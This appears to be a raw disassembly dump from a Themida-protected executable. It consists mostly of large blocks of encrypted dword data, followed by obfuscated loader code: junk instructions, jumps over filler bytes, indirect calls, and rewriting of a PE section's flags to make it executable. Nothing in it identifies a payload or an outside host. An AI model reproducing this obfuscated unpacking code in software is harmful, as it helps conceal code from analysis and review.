dd 0E5DCD60Fh, 0BD47A9CAh, 0B947A92Ch, 0BE05A91Fh, 0B13246F3h
dd 0B139BFBAh, 0F995565Dh, 37BF78B1h, 63E1BF16h, 0B9EBBEB9h
dd 0D15256D5h, 63D378Ah, 50B237A3h, 0BE523762h, 0B13254D0h
dd 0E36C01AEh, 71393708h, 0B12ED2A4h, 58CA56D5h, 0B13252F9h
dd 0B132479Ch, 0E8E23BBAh, 0DACCF3B9h, 86E6670Fh, 0D84962E4h
dd 0F4B9D020h, 0ABB85929h, 0D13256EAh, 0B1325A9Dh, 0E17067BAh
dd 0F0BD068h, 23E1FF16h, 3A3D0D5Ch, 0B13256ABh, 0BE356FB4h
dd 0B1318468h, 0D752AF75h, 4E53A731h, 353DAA18h, 0B13256A9h
dd 0B133DC58h, 58CE56ABh, 0B13256DCh, 50CCAD9Fh, 1B4351C2h
dd 0B54DD502h, 88B6595Dh, 0D13256AEh, 68B33006h, 0D76B598Ah
dd 0B42B8154h, 0BD4DD58Bh, 90B65975h, 493256BAh, 0B132DCB4h
dd 0A4B359AEh, 58325657h, 0B13256BBh, 0D0470C33h, 8A21B0D8h
dd 7EE61FE3h, 0D641BBCh, 4ECDA9E5h, 0AAB25951h, 0D1325657h
dd 5880802Bh, 0B13256C4h, 7E126111h, 0AAF419E7h, 29A60BF4h
dd 0FE25B23Eh, 0B48B37DBh, 0D1325657h, 0B1325F42h, 0E694F1D5h
dd 638B2533h, 3A625BE5h, 42530F7Bh, 0B137BFF6h, 739556AEh
dd 5856A953h, 4ECDA816h, 0B1325A3Ch, 0A7B3F4EAh, 7AB5D04h
dd 8A2B0E01h, 0B9BC5929h, 0BE3256AEh, 0B13254DDh, 325336ABh
dd 0BE3746AAh, 0B132CF6Eh, 0A0DB3675h, 0C03256BAh, 886DF7CCh
dd 0B91F095Bh, 0AC64FA9Dh, 87092558h, 0E6E4DDB5h, 325337B5h
dd 0BE34460Ah, 0B132E63Fh, 0B6BC595Dh, 0D13256AEh, 1C4E158h
dd 323D370Dh, 0B13256D4h, 0B6DB1713h, 0F325675h, 0C0FFF659h
dd 0F6B9B54Dh, 0A5BB59AAh, 0BE325657h, 0B132582Ah, 0B13BBFD5h
dd 5C5256EAh, 0F39E00C8h, 49D2D307h, 0BE3E09D6h, 0B1325C25h
dd 5CB23657h, 8A5EEE2Bh, 58537DFEh, 0B1325708h, 0B8DB3615h
dd 0B93256BAh, 7AD7D5A6h, 1A037895h, 78B337AFh, 0E65EB3EFh
dd 0F6B9A3B4h, 343DA3EEh, 0B1325679h, 0B134DAB5h, 343D565Dh
dd 0B13256AEh, 493E09DCh, 0B12BD7A4h, 0D15256D5h, 0B122BF8Bh
dd 0EF445675h, 22A6784Eh, 2B327E6Ah, 0B809EA09h, 585350F9h
dd 0B13257DDh, 0B575DD2Ch, 0B13AD5E5h, 0A525675h, 0B23A203Eh
dd 0EEB937A5h, 0B123BFA2h, 0B96B5657h, 0AFE3EBDDh, 17974A53h
dd 0AAC570CFh, 8A8D739Ch, 343D5EE5h, 0B1325681h, 0B13ADDA1h
dd 0BE525657h, 0B1325623h, 0BCDB37D5h, 0D43256EAh, 85CF8644h
dd 0E6B2A4E7h, 5318A65Eh, 0B123BFFCh, 49B35657h, 989AC2C6h
dd 0F3BE7CC7h, 2DB22737h, 3AE299BBh, 0BE5252EDh, 0B13256D4h
dd 9A53A3AEh, 0BECB4602h, 0B1324020h, 0A1BD59D5h, 583256EAh
dd 0B132567Eh, 0FFD2204Fh
dd 77B6F749h, 0B2DA251Ch, 3ACA4202h, 0B9DB5AF4h, 8F3256D5h
dd 81E4BEB9h, 9A4527DFh, 0B137BF60h, 79D2565Dh, 0BE478C3Fh
dd 0B13241DEh, 0B120BFABh, 576256D5h, 36DF246Bh, 58287540h
dd 0E4DD333Ch, 0F8FE1875h, 0D137BD2Dh, 0BBDA99DCh, 463256ABh
dd 0A08F60B5h, 816630A1h, 7B8D59EDh, 0BE6837E1h, 0B13258D8h
dd 0B13BBFAEh, 0E0A65657h, 809826CEh, 5856373Ah, 0B13256D7h
dd 0B0B5598Dh, 443256BAh, 4D3611D6h, 0D13E0925h, 0B56D7D36h
dd 0B4D9D553h, 313D3620h, 0B13256ECh, 0B132D27Ah, 3A5456BAh
dd 3B3137A7h, 0B69A4F17h, 0B1325EBEh, 5B244EABh, 1B9A694Bh
dd 0A14DD533h, 96B75976h, 583256BAh, 0B132564Ch, 83CFB887h
dd 0D004FA7Dh, 4517CA06h, 0EE113E9Ah, 3E3D17E1h, 0B132567Fh
dd 0B1325353h, 0E6AEE15Dh, 68198751h, 0B1325BBEh, 517280ABh
dd 0E7E3337Dh, 324A6FC2h, 0EDBBE2E5h, 343D57BBh, 0B132565Ch
dd 4ECDEE56h, 152A9A8h, 77B33618h, 0E1A6CE79h, 0B1325303h
dd 1B80F175h, 0D053B341h, 0B13253E4h, 0B9B159AEh, 0BE325657h
dd 0B132542Ah, 0D15336D5h, 0B131DDE5h, 3A545675h, 0BB80EC70h
dd 42533161h, 0A3DB3605h, 26325657h, 5E8116D4h, 0D9143A66h
dd 0BDB1422Ah, 9B2B6F4Eh, 0B13FBE7Bh, 428A565Dh, 0CC8BC292h
dd 0AEDE3C6h, 0D180FC98h, 58530DB4h, 4ECDAD5Fh, 0BDB15989h
dd 0BE3256BAh, 0B13250DFh, 0B1B759AEh, 0D0325657h, 0B1324642h
dd 0C234BBD5h, 2CDE7816h, 584D6067h, 0A0CE3A8Bh, 73CB9F89h
dd 0A0DB56BEh, 55325657h, 14775B5h, 299996F0h, 9CE0B22Ah
dd 0BD19D4A8h, 343D36EFh, 0B132565Fh, 0A0DB0EFEh, 0BF325657h
dd 2BB3680Ah, 8681FE3Bh, 87A40822h, 317CC2AEh, 58DEDDDBh
dd 0B132564Eh, 3FD96C7h, 7E4D7A55h, 576D3E50h, 0ACA9933h
dd 3249B060h, 0D752AAB1h, 0D77A2D04h, 0D05A3FE3h, 0B133DDA1h
dd 0D1CE5657h, 7BE8D6CBh, 0B131D3DAh, 63D56EAh, 59C73784h
dd 0B13256BAh, 7ED8D707h, 0D135F866h, 0B13250BEh, 0DBDA81ABh
dd 0D04B5474h, 0B1325903h, 0EA4F3D75h, 0DDC3D95Eh, 16D358E1h
dd 0D202D323h, 3A5436AEh, 0BB9375Ah, 0B69CD091h, 0B1324203h
dd 0A0821775h, 93BD1Ah, 8DA26D58h, 0BA68E22Dh, 2A12D51Fh
dd 0D1FB65EDh, 0B132533Ch, 194869EAh, 3253C9EAh, 353D5685h
dd 0B1325523h, 728D59CEh, 0BE35DD36h, 0B1325723h, 0C4CDAFD5h
dd 0B123BFE6h, 0B3385675h, 574893AEh, 786000F6h, 6CFF0237h
dd 0D1D42135h, 18B3EDCDh, 3DBA9754h, 4E53058Fh, 0D7525E00h
dd 58C05200h, 0B132564Ch, 9282352Ah, 9C47A870h, 0A659EDDh
dd 0DF095DDEh, 496237A3h, 0B131189Dh, 305436BAh, 0D7B42EADh
dd 0BA53A525h, 8FB75997h, 0D13256ABh, 3052A85Eh, 93EDD518h
dd 75F1D71Ah, 0D0489FB1h, 5835DD3Ch, 0B13256BCh, 6CE4599Dh
dd 781EE296h, 43DEC336h, 240580B3h, 84DB3F1Dh, 0D13256BAh
dd 0F636EE3Bh, 0B130D0A1h, 0EE655657h, 0A5F5D5CAh, 0B12AD4DAh
dd 0A2DB56EAh, 6F325675h, 54C0F6B8h, 21BBF519h, 96C8A9F4h
dd 0A1702778h, 99DB0701h, 48CDA92Ah, 0D1CE1363h, 0B6DAA2FFh
dd 0D53256BAh, 4E73D247h, 78B31135h, 0D15E3E85h, 0C4CD37F2h
dd 0B0BA59D9h, 4D3256EAh, 0D13A238Ah, 0B1325B52h, 0A539305Dh
dd 0EA8DFF82h, 4CC4BCE9h, 3A545961h, 7EB90804h, 0D105A98Bh
dd 6ED3D713h, 0B121BEE9h, 39D7565Dh, 7E2532EBh, 0C6596274h
dd 9669E0D2h, 49D58173h, 0B1BD5909h, 0EA325675h, 0B35BBEDBh
dd 0BE52565Dh, 0B132502Ch, 3DDBD757h, 3B2F9B1Eh, 0BACA3726h
dd 8DB6592Ah, 0BE325675h, 0B1324F38h, 0B126BF5Dh, 0D7FA56AEh
dd 9763E10Ch, 78BF15D0h, 5131017h, 3F62A31Ah, 313D9416h
dd 0B13256BBh, 0B0CEBFA1h, 303D56AEh, 0B132565Dh, 40B930CBh
dd 3E9E596Dh, 3AC73784h, 333DAA30h, 0B13256B7h, 0B1325EB4h
dd 0B1CD56AEh, 9C75029Ch, 0BE356FABh, 0B1339B57h, 0F4CDAEEAh
dd 0B137BF89h, 538E56BAh, 329EE5F2h, 0BE3252D1h, 0B1327FD3h
dd 3152A3ABh, 0BBDAFD03h, 5B3256EAh, 0F623F73Eh, 0A8F215BAh
dd 0EB6A004Eh, 0BD4DD5CFh, 0B6B65957h, 483256ABh, 0B1326D3Ch
dd 4E8AAEEAh, 0D1CDA98Ah, 3AF3E1B5h, 0B48B379Eh, 4D3256AEh
dd 0B13258BEh, 48DA8AABh, 37337D7h, 87491D5Eh, 42996D43h
dd 7ADBAE11h, 0D1CDA9A3h, 0D1C5DCCEh, 30543736h, 0D00BC97Dh
dd 0B4222956h, 0B140D2E5h, 343D5675h, 0B13256BBh, 0A14DD5A1h
dd 3FB759A8h, 49325657h, 0B8BA59EAh, 0D13256D5h, 0B1B25916h
dd 0D0325675h, 0BE361131h, 0B13241D0h, 0B120BFAEh, 94A05657h
dd 9E8F6AC1h, 20E37002h, 9F478FEBh, 48DCFBFEh, 583E0931h
dd 0B1325654h, 0D04AE192h, 0F24388C8h, 0B1ABBFE8h, 313D56D5h
dd 0B13256F9h, 0B132589Ch, 0D3CBDEBAh, 12F47166h, 35B590BDh
dd 48229D0Bh, 0BE361120h, 0B1325153h, 0B0B259EAh, 44325675h
dd 0BE3E0931h, 0B13251D9h, 758D36AEh, 0D007DA49h, 0B17CBF52h
dd 3D3D56D5h, 0B13256EBh, 0B575DD89h, 0B133D8B5h, 3ACE565Dh
dd 0D7525AF1h, 0A8591D6h, 0B130D3A4h, 0D05256D5h, 0B56D7D8Bh
dd 628D5915h, 0B1BA59EBh, 0EB32565Dh, 0B4D9D5CFh, 608D5937h
dd 9942A72Ah, 325333A5h, 0BE314695h, 0B13255F0h, 4473AABAh
dd 31528F76h, 0E544044h, 3853009Dh, 583357F7h, 0B13256DFh
dd 89C0F35Ah, 91ACD34Eh, 4E8A9956h, 49CDA9A2h, 0B1325317h
dd 1AC1AF57h, 0B138D5A4h, 3A5256D5h, 0B1B25910h, 0D0325675h
dd 0B1324453h, 0D795A25Dh, 0AFFF7166h, 23B8A9FDh, 5E59BAD7h
dd 58CCA4EEh, 4ECDAB9Ch, 0B132539Ch, 1B002BBAh, 0BE536126h
dd 0B1325720h, 0BEFBAF57h, 0B1325724h, 0B9F0A3D5h, 0B123BFEAh
dd 0E0805675h, 753C5F61h, 9FB3DC51h, 4038D331h, 0E4C41DD6h
dd 0B135DFA4h, 333D56D5h, 0B13256EBh, 0A543680h, 0A5DBA795h
dd 4732565Dh, 1F3F6716h, 5E470655h, 48C498CEh, 797ABC45h
dd 0D03C6123h, 0BDDBBAFEh, 0F73256BAh, 0CE0EDA51h, 5CE661F1h
dd 321AE8FEh, 0B4DBAA6Fh, 6C3256D5h, 0EBDC8AADh, 0EB613615h
dd 0B1325153h, 0CCF84D5Dh, 0FF8BA18Ah, 0B977DD36h, 0BD776D53h
dd 0B1B1D4DAh, 3F3D56EAh, 0B1325674h, 0A1776D43h, 0B141D152h
dd 585256AEh, 0B1325644h, 74D5CC6Bh, 1AC3823Eh, 20939D31h
dd 3341DA04h, 58B4DF4Bh, 0B1325656h, 0DB74EB73h, 776DDE08h
dd 0D06EA000h, 0B138DFDAh, 0BE5256EAh, 278B90CAh, 0D076A71Bh
dd 0B1CE139Ah, 583256AEh, 0B1325647h, 0A31ED1F5h, 0C22C221Ah
dd 0C12A3B1Eh, 0CE5F7352h, 0B1321653h, 0B121BF5Dh, 333756AEh
dd 35546D94h, 61762226h, 0B1AE24C3h, 0D58A0564h, 4D77912Dh
dd 0B13256BBh, 0B1325EB4h, 375BFAAEh, 4B94C6B2h, 0B13DBF83h
dd 58CB56D5h, 0B13256E3h, 1F38A65h, 6938042Bh, 3B3D37FCh
dd 0B13256B7h, 0B122BF37h, 3CCF56ABh, 0ED06A006h, 1469CAF1h
dd 0F4842DBEh, 60B8BC78h, 0BBBE593Ch, 583256AEh, 0B1325652h
dd 4E9A8C39h, 4D77DDEDh, 0B1325F03h, 97CB5275h, 9012DF29h
dd 58FBB4D3h, 0B13256ABh, 41269965h, 0B13E943Eh, 3ACE032Ch
dd 0AAB15906h, 0BE325675h, 0B1324339h, 0B122BF5Dh, 24C56AEh
dd 0B35C049Ah, 6D758B3Bh, 5F5F0C3Bh, 75B11153h, 56B33689h
dd 0EA0A8DCDh, 0D09785DDh, 0B137BFCEh, 1D515657h, 58C7F1B2h
dd 0B13256C6h, 815CE612h, 0C4DB1D67h, 89370A04h, 0B3198E39h
dd 59BE0405h, 0B1325657h, 2AD8D7F1h, 0D135F81Bh, 0FFFA916Bh
dd 3C3D74D9h, 0B13256BCh
dd 0B132D252h, 495356AEh, 373D9F64h, 0B13256A3h, 0B130D5DAh
dd 0D05256EAh, 3D3D8D46h, 0B13256A7h, 0B125DD52h, 0A3DB56AEh
dd 0BB325657h, 1D2DC042h, 1DE66E00h, 4FF14152h, 0C031E8Ch
dd 4D6FDFC8h, 0B13247B4h, 3FD2E0AEh, 5815B224h, 0EE35E3E2h
dd 664A7B9Ah, 5852D113h, 0B1325664h, 0F7DE1F24h, 1DA1CD66h
dd 1A200647h, 8F393695h, 3A53AFE0h, 1FB4126Fh, 0BE8D36EDh
dd 0E178C140h, 6733EEDCh, 59523703h, 0B13256BFh, 76DEAE9Dh
dd 76BC7A88h, 9F5600B0h, 948B7A2Eh, 0E853367Ah, 0B10DD5DBh
dd 0B34AD252h, 32CB56AEh, 343DA968h, 0B13256E9h, 0B133D4DAh
dd 58CA56EAh, 0B1325672h, 0D56ED923h, 32A1C991h, 58CA4269h
dd 4ECDA986h, 0EF6305CBh, 8FEAD78Eh, 0D066F604h, 0B126D17Ah
dd 0BEDB56BAh, 8E32565Dh, 0C02A822Ah, 4D060022h, 1349C1B2h
dd 0CEB14708h, 353D56EEh, 0B1325642h, 0B138DBB5h, 0B4DB565Dh
dd 1F3256AEh, 46A0138h, 0B13E2928h, 0B12FD2DAh, 58C756EAh
dd 0B1325620h, 0B1324453h, 750E955Dh, 0DD1E7F24h, 356C103Eh
dd 0C06E3C6Eh, 4E6DF744h, 0BEDBAAAFh, 92325675h, 11C8E4Bh
dd 870EA359h, 5103435Fh, 3E3DC024h, 0B13256AAh, 0A5F5D520h
dd 0B1325D03h, 0F1DD3C75h, 108CD6F9h, 71F97A53h, 4ECD6247h
dd 3F3DAEA8h, 0B13256AAh, 0A14DD529h, 0D7B659EFh, 58325675h
dd 0B13256B5h, 953667ACh, 551F95B2h, 0C5F6607Eh, 327768D6h
dd 0BE3446AAh, 0B132DE6Fh, 0B13DBF75h, 142B56BAh, 2873408Ch
dd 8ABD98F2h, 0E306EA05h, 58CE1744h, 0B13256DEh, 0BF11DFFEh
dd 0B059C88Bh, 3A6BE149h, 3E3D521Ah, 0B13256AFh, 0BD6DDDAEh
dd 0B1F1BF52h, 3E3D56D5h, 0B13256E2h, 0B130D47Ah, 0D05256BAh
dd 0B575DDA4h, 0B13EDFA1h, 383D5657h, 0B13256ADh, 0B132D6DAh
dd 0EEB956EAh, 0BFDB3679h, 0D53256BAh, 632B4766h, 0B64B009Eh
dd 42ACEC4h, 2A8A302Bh, 0CADB371Fh, 0D13256EAh, 0DDB87CCAh
dd 77855992h, 0B575DD3Ch, 0B139D1A1h, 31525657h, 313DEC44h
dd 0B13256D5h, 0BD6DDD8Bh, 0B56D7D89h, 0B2B459DAh, 0BE32565Dh
dd 0A0DAA719h, 4325657h, 5666FD07h, 0E419E7FAh, 0B4AEDB76h
dd 2289290Dh, 0E8ECDDDCh, 0B4D9D53Ch, 0B1325E47h, 0BF8A5B57h
dd 0CAEFCA6Eh, 0A14DD545h, 0A6B759E9h, 0D1325675h, 0FA88D000h
dd 0D4DDD70Dh, 0D02E312Ah, 55873616h, 7D3D1714h, 681937C5h
dd 0B06EDF12h, 343DAA74h, 0B13256A8h, 0B1325BB4h, 6B594FAEh
dd 38DD3F60h, 0A7DF0DCFh, 4E8A6860h, 0BECDA915h, 0B13246FCh
dd 0B139BFBAh, 0BA5E565Dh, 6DE01B64h, 3FB7FDDCh, 0B137EFD5h
dd 0D75256D5h, 59D6BF6Bh, 0B1325B9Ch, 0F3F1ADBAh, 131262E7h
dd 0C9A320EAh, 0BE5366FCh, 0B1324E27h, 0A3B359D5h, 583256EAh
dd 0B1325678h, 67C32F72h, 0B36F1202h, 0E05BE773h, 0D199A5B7h
dd 0DE87AFCBh, 37DB37B4h, 0D1CDA917h, 62B225C2h, 0BE5337F0h
dd 0B13251DDh, 0B0B859AEh, 44325657h, 0BECE1320h, 0B1325A56h
dd 0B135BFEAh, 602E5675h, 7380D9F5h, 0B7DB9FBCh, 0F13256AEh
dd 0B43023D2h, 343D95E5h, 0B13256C7h, 0B1325B03h, 0F768C775h
dd 4AE4B33h, 0DDDA0F21h, 4D62DEABh, 0BADB07A2h, 0D93256ABh
dd 55F4E75h, 0F41AF476h, 0B6DB5531h, 313256BAh, 0BBB074FAh
dd 0BE6102C6h, 0B13258DCh, 0B13BBFABh, 5B0656D5h, 8C5C31EEh
dd 59DD7CB2h, 0B13256BAh, 0FED8D707h, 5835F87Ch, 0B1325644h
dd 5B72D60Eh, 4B26BF4Dh, 0D2644C84h, 8CC7B13Fh, 58042A66h
dd 0B1325650h, 0C07C711Dh, 54337304h, 0B7CD807Ah, 0B9DA3628h
dd 1D3256EAh, 4CC7F16Ch, 0BE50D33Dh, 0B13256D3h, 3C530DAEh
dd 1FB551CDh, 0B0BB59ACh, 483256D5h, 0B1323252h, 94BD5975h
dd 0D13256BAh, 0B13246B5h, 6C7460AEh, 0DD53313Ah, 25F123E7h
dd 2A3BD8C3h, 0B9DB0E13h, 49325675h, 22F18C75h, 0D048CD69h
dd 0B1376746h, 0BAB9AA57h, 0B121DEA4h, 383D56D5h, 0B13256E7h
dd 0B1325E9Ch, 73EEADBAh, 0C0D4D686h, 58F36DD5h, 0B1325651h
dd 206D9F8Bh, 3EDB9AF2h, 4D3256EAh, 0D7E8DD15h, 0B2538931h
dd 0D1525216h, 333D8725h, 0B1325657h, 0D0F4DDCAh, 333D97EEh
dd 0B1325674h, 0B121BF8Ch, 421056BAh, 20334F73h, 8C4DBC7Fh
dd 472E1FB9h, 289DDE64h, 0A1795597h, 0BEF36D13h, 0B13244F7h
dd 83DBAABAh, 5832565Dh, 0B13256A9h, 0C7376C4Ch, 589843DBh
dd 0B1325646h, 0B129D4E5h, 0BE525675h, 0A0DB9005h, 2C32565Dh
dd 3441333Ch, 33315FD1h, 0D68E454Ah, 0F1A1D9C3h, 0B15FBF8Bh
dd 0D7525675h, 5574883Bh, 43B9300Ch, 2BBF37F7h, 0B69D2749h
dd 66B330CBh, 42B9B27Eh, 48E1A98Bh, 0B1321C9Ch, 0B121BFBAh
dd 0A7D2565Dh, 10EC59ECh, 745CA979h, 310F0717h, 68382B3Dh
dd 2BBFA382h, 0B69D2231h, 0B1325853h, 0EC67245Dh, 0AF2B43C7h
dd 8CE17489h, 4E836431h, 0A1BA5906h, 0BE3256EAh, 0B1325CF2h
dd 0B137BFBAh, 8857565Dh, 0EA2962BDh, 0B133DC58h, 0E8CA56ABh
dd 58520E2Dh, 0B13256E1h, 0EA1AAE63h, 8B1DBC5Bh, 0D771B67Ch
dd 0F8DCA62Fh, 0E4CE9536h, 0B13ADDA4h, 383D56D5h, 0B13256E8h
dd 5DB93715h, 0B127D3B5h, 0D752565Dh, 0BADB8725h, 2325657h
dd 99A3902Eh, 2F2C0F7Fh, 4953BAE1h, 0B132569Dh, 5BB30CBAh
dd 0B69C8211h, 0B121BECEh, 0B0655657h, 1CFA6A8Ch, 42EDABA8h
dd 90B3F1DFh, 1C5D3268h, 0E9A5E470h, 0B13251B5h, 0DF1832AEh
dd 7AF5521Dh, 0D06D37CBh, 0B139DCDAh, 0D75256EAh, 363DA4FEh
dd 0B13256BAh, 3F3D363Ch, 0B13256A7h, 0F533637h, 0E8413555h
dd 0B688DBB4h, 0BE35F86Dh, 0B13257FAh, 0BE52A3BAh, 0B13246D6h
dd 0B139BFAEh, 594F5657h, 0AA0C8DFBh, 0D069FE93h, 0B13FBE72h
dd 0BC155675h, 8F2E47EEh, 0F78DE88Bh, 5909D26Ah, 0B132565Ch
dd 0D565DD03h, 89C6D68Ch, 0EB5DE937h, 0F4B9372Ch, 0B6BBAEB2h
dd 0B137BF3Dh, 4AC456AEh, 0BE8F77F6h, 3A53AD1Ch, 30525A90h
dd 1867A229h, 0B7B3592Dh, 0BE3256BAh, 0B13256D7h, 0F6BB37AEh
dd 0F4B9A353h, 0F6BBAEBBh, 0F4B9AFD9h, 0B13ABFFEh, 0BAA05675h
dd 0E21EE03Ah, 0BDDBB02Bh, 883256AEh, 0BC5075AAh, 312D4CCAh
dd 38AFC5AFh, 0E35246ADh, 5868B7FFh, 0B13256BFh, 0B4B2544h
dd 58533717h, 0B1325643h, 15B5F07Ch, 2257A4F5h, 0E534A21Ch
dd 407129E5h, 43A82B42h, 0B9B15994h, 0BE3256AEh, 0B13254D3h
dd 585336ABh, 0B13256DBh, 1DDFBF99h, 0A4EEF2F6h, 0DADD0D44h
dd 0A1F0D3FDh, 0A1B759AEh, 0BE325657h, 0B1325C29h, 0B137BFD5h
dd 75E656EAh, 0D18D4E17h, 0AFE8D6DAh, 77532DEFh, 19344F2Bh
dd 393D1150h, 0B13256AAh, 0C2283E2Dh, 0BDDBFEFDh, 0CC325675h
dd 2EDF4C25h, 0F212CD17h, 4E4B0D8Eh, 193EB7E2h, 0B8BA59ACh
dd 0D13256D5h, 69DED8Ch, 0D0C1E17Ah, 0C928D337h, 495251F6h
dd 0BEE2A9CFh, 0B13242D5h, 0B13DBFABh, 5DCB56D5h, 0C1C17A3Ch
dd 64FBB0FDh, 48008409h, 3CC704C9h, 1FBA2624h, 0BEDBAA50h
dd 183256ABh, 96B7EC68h, 408449CAh, 50A894E0h, 44631C41h
dd 95286A2h, 0E557061Bh, 0E4DB1D6h, 0BE5346A2h, 0B132415Bh
dd 0A0B359EAh, 58325675h, 0B13256B6h, 261FEA3Ch, 6A163781h
dd 9526B5C5h, 0B13ABFF1h, 6DE156D5h, 0EF17D850h, 33BFEE5Ch
dd 0B69CDECAh, 0B135D052h, 383D56AEh, 0B1325656h, 0F185595Eh
dd 69B9A3D9h, 46D4D68Ah, 3A520414h, 0D0FCDD49h, 3A3D6752h
dd 0B13256AFh, 0B2C70CAEh, 38C7A368h, 1937E757h, 3B3DAFEDh
dd 0B1325674h, 0BE523746h
dd 0B13254D0h, 103E2AEh, 4DF137DEh, 0DE8B6051h, 25BF6660h
dd 16DA81C3h, 612BCEDFh, 0BF605261h, 224514EEh, 30DB8166h
dd 0E86134h, 5A000000h, 0D6DEEA81h, 12E907AEh, 0AC000000h
dd 7ABAF0F3h, 235A5CE5h, 6B243111h, 8130D387h, 7E994h
dd 0F4000000h, 0BA858FB8h, 11E93Dh, 362A0000h, 65BA1DC7h
dd 83B334EBh, 0F164AF9Dh, 0E9E5E9DBh, 8, 23B7ED62h, 0D6ADC39Ch
dd 0BE952h, 53040000h, 0D00F74CEh, 8E4D4E0Bh, 0FE9B6h
dd 3AAB0000h, 0BE44AAB5h, 0AF50FC9Dh, 0E85EC271h, 0B1828B3Bh
dd 0F807A805h, 61F8F560h, 0C64E6DB9h, 0F0806041h, 14E942h
dd 0DDB50000h, 0B8B469DAh, 86AC9ACFh, 469DB802h, 0B439EC4Ah
dd 0F76135C8h, 0DE9E1h, 0F230000h, 37AD0A09h, 68908792h
dd 5A3AFF9Ah, 61EC8A60h, 303905F8h, 13E90000h, 46000000h
dd 127AC955h, 7C27C1DDh, 83090653h, 0F699CB73h, 0FF25CAA2h
dd 0E97FFFFFh, 10h, 1635E023h, 0FE83FE8Dh, 377E37B9h, 45F6E2ADh
dd 5B18289h, 0E96007A8h, 5, 0DFCB7942h, 850F61F1h, 1, 66605AF5h
dd 664894BBh, 5961C18Bh, 78F0Fh, 0F600000h, 0D08BDABFh
dd 0FC3F561h, 189h, 6051F900h, 566ED780h, 880Fh, 615E0000h
dd 0E8F952h, 5A000000h, 0D81EEA81h, 800F07AEh, 0Bh, 6E9h
dd 0CC2E1C00h, 0F8591FA9h, 8E0FC88Bh, 8, 2800Fh, 61600000h
dd 0FFFE6FE8h, 11E9FFh, 64AB0000h, 0A54DEF2Dh, 0A8750B8Dh
dd 76821620h, 33E70117h, 7E9D2h, 81C20000h, 7985EC36h
dd 0FCF1F714h, 0B960C28Bh, 4D1E5DD4h, 59FC5A61h, 0B70FFC60h
dd 0E9C361F2h, 12h, 65D6C7E9h, 23220E7Fh, 4246C19h, 74B6D8E9h
dd 0C08B5337h, 60C08BFCh, 8482EF81h, 605157A1h, 8D615961h
dd 0AE9EB985h, 800F6007h, 0
; ---------------------------------------------------------------------------
pusha
movzx edx, cx
mov eax, 15804C93h
popa
popa
call eax
jo loc_5EED43
pusha
mov edx, 7A3B700Eh
xor di, 9829h
popa
loc_5EED43: ; CODE XREF: Themida_:005EED31j
mov ax, cx
cmc
lea eax, [ebp+7AED6BBh]
jmp loc_5EED5B
; ---------------------------------------------------------------------------
dw 0E42Fh
dd 57863B23h
db 0B9h, 6Eh, 5Fh
; ---------------------------------------------------------------------------
loc_5EED5B: ; CODE XREF: Themida_:005EED4Dj
mov [ebp+7A80671h], eax
jb loc_5EED72
pusha
mov ebx, 1425E7F3h
mov ax, 0CA8Bh
popa
loc_5EED72: ; CODE XREF: Themida_:005EED61j
lea eax, [ebp+7AED809h]
jmp loc_5EED85
; ---------------------------------------------------------------------------
or al, 0Bh
sub cl, [ebx+778480C9h]
loc_5EED85: ; CODE XREF: Themida_:005EED78j
mov [ebp+7A80489h], eax
pusha
push edi
xor di, 0D6C0h
pop ebx
push ecx
mov ch, 0F5h
pop eax
popa
mov eax, 0
jmp loc_5EEDA7
; ---------------------------------------------------------------------------
dw 7043h
db 0B8h, 1Bh, 8
; ---------------------------------------------------------------------------
loc_5EEDA7: ; CODE XREF: Themida_:005EED9Dj
or eax, eax
jz loc_5EEED4
pusha
mov edi, 852203Ah
jmp loc_5EEDCB
; ---------------------------------------------------------------------------
dw 0A881h
dd 8473AE0Ch, 5484D38h, 2BE6FA5Ch
db 80h, 96h, 70h
; ---------------------------------------------------------------------------
loc_5EEDCB: ; CODE XREF: Themida_:005EEDB5j
popa
mov byte ptr [ebp+7A80619h], 56h
jmp loc_5EEDDF
; ---------------------------------------------------------------------------
dd 6D567C7Ch
db 72h, 41h, 0DDh
; ---------------------------------------------------------------------------
loc_5EEDDF: ; CODE XREF: Themida_:005EEDD3j
push 0A9C530DFh
jmp loc_5EEDF3
; ---------------------------------------------------------------------------
dec eax
lodsd
std
movnti [esi-71CC20C3h], esi
loc_5EEDF3: ; CODE XREF: Themida_:005EEDE4j
push dword ptr [ebp+7A80CE1h]
pusha
mov esi, 22F35031h
or ax, 201Fh
popa
lea eax, [ebp+7AB781Ah]
jmp loc_5EEE20
; ---------------------------------------------------------------------------
dd 99A0EF4Ah, 5BC25CEDh, 339884D3h, 74A0B4D1h
; ---------------------------------------------------------------------------
loc_5EEE20: ; CODE XREF: Themida_:005EEE0Bj
call eax
jmp loc_5EEE37
; ---------------------------------------------------------------------------
db 78h
dd 9ABF6215h, 3CFEBCBCh, 3C6C7171h
; ---------------------------------------------------------------------------
pop edi
push 0FFFFFFCEh
loc_5EEE37: ; CODE XREF: Themida_:005EEE22j
push eax
cmc
lea ecx, [ebp+7A82C31h]
jmp loc_5EEE57
; ---------------------------------------------------------------------------
dd 0CDC6D70h, 66EC6922h, 999A8A77h, 1AAF7307h
db 0DDh, 0D9h, 19h
; ---------------------------------------------------------------------------
loc_5EEE57: ; CODE XREF: Themida_:005EEE3Fj
push ecx
jmp loc_5EEE65
; ---------------------------------------------------------------------------
lodsd
push esi
pop esp
mov ebp, 6559830Fh
loc_5EEE65: ; CODE XREF: Themida_:005EEE58j
push 4
pusha
xor edi, 0AFF8AECh
add di, 0DD27h
popa
push 1000h
jmp loc_5EEE8B
; ---------------------------------------------------------------------------
dw 0E08Dh
; ---------------------------------------------------------------------------
jmp dword ptr [eax]
; ---------------------------------------------------------------------------
dw 4E87h
dd 7683B611h
db 56h, 77h, 7Ah
; ---------------------------------------------------------------------------
loc_5EEE8B: ; CODE XREF: Themida_:005EEE79j
push dword ptr [ebp+7A82681h]
jge loc_5EEE98
stc
loc_5EEE98: ; CODE XREF: Themida_:005EEE91j
call eax
pusha
mov bx, si
cld
popa
mov edi, [ebp+7A82681h]
pusha
sub al, 2
movzx edi, bx
popa
add edi, [edi+3Ch]
jmp loc_5EEEC5
; ---------------------------------------------------------------------------
dw 17A3h
dd 0F3B9B204h, 0F17773EFh, 126F0364h
db 0E0h
; ---------------------------------------------------------------------------
loc_5EEEC5: ; CODE XREF: Themida_:005EEEB1j
add edi, 0F8h
clc
mov dword ptr [edi+24h], 60000020h
cld
loc_5EEED4: ; CODE XREF: Themida_:005EEDA9j
lea ebx, [ebp+7A8105Dh]
stc
mov eax, [ebx]
pusha
pusha
jns $+6
pusha
popa
popa
mov edx, 7E5E42AAh
popa
or eax, eax
jz loc_5EEF1B
jnb loc_5EEEFD
clc
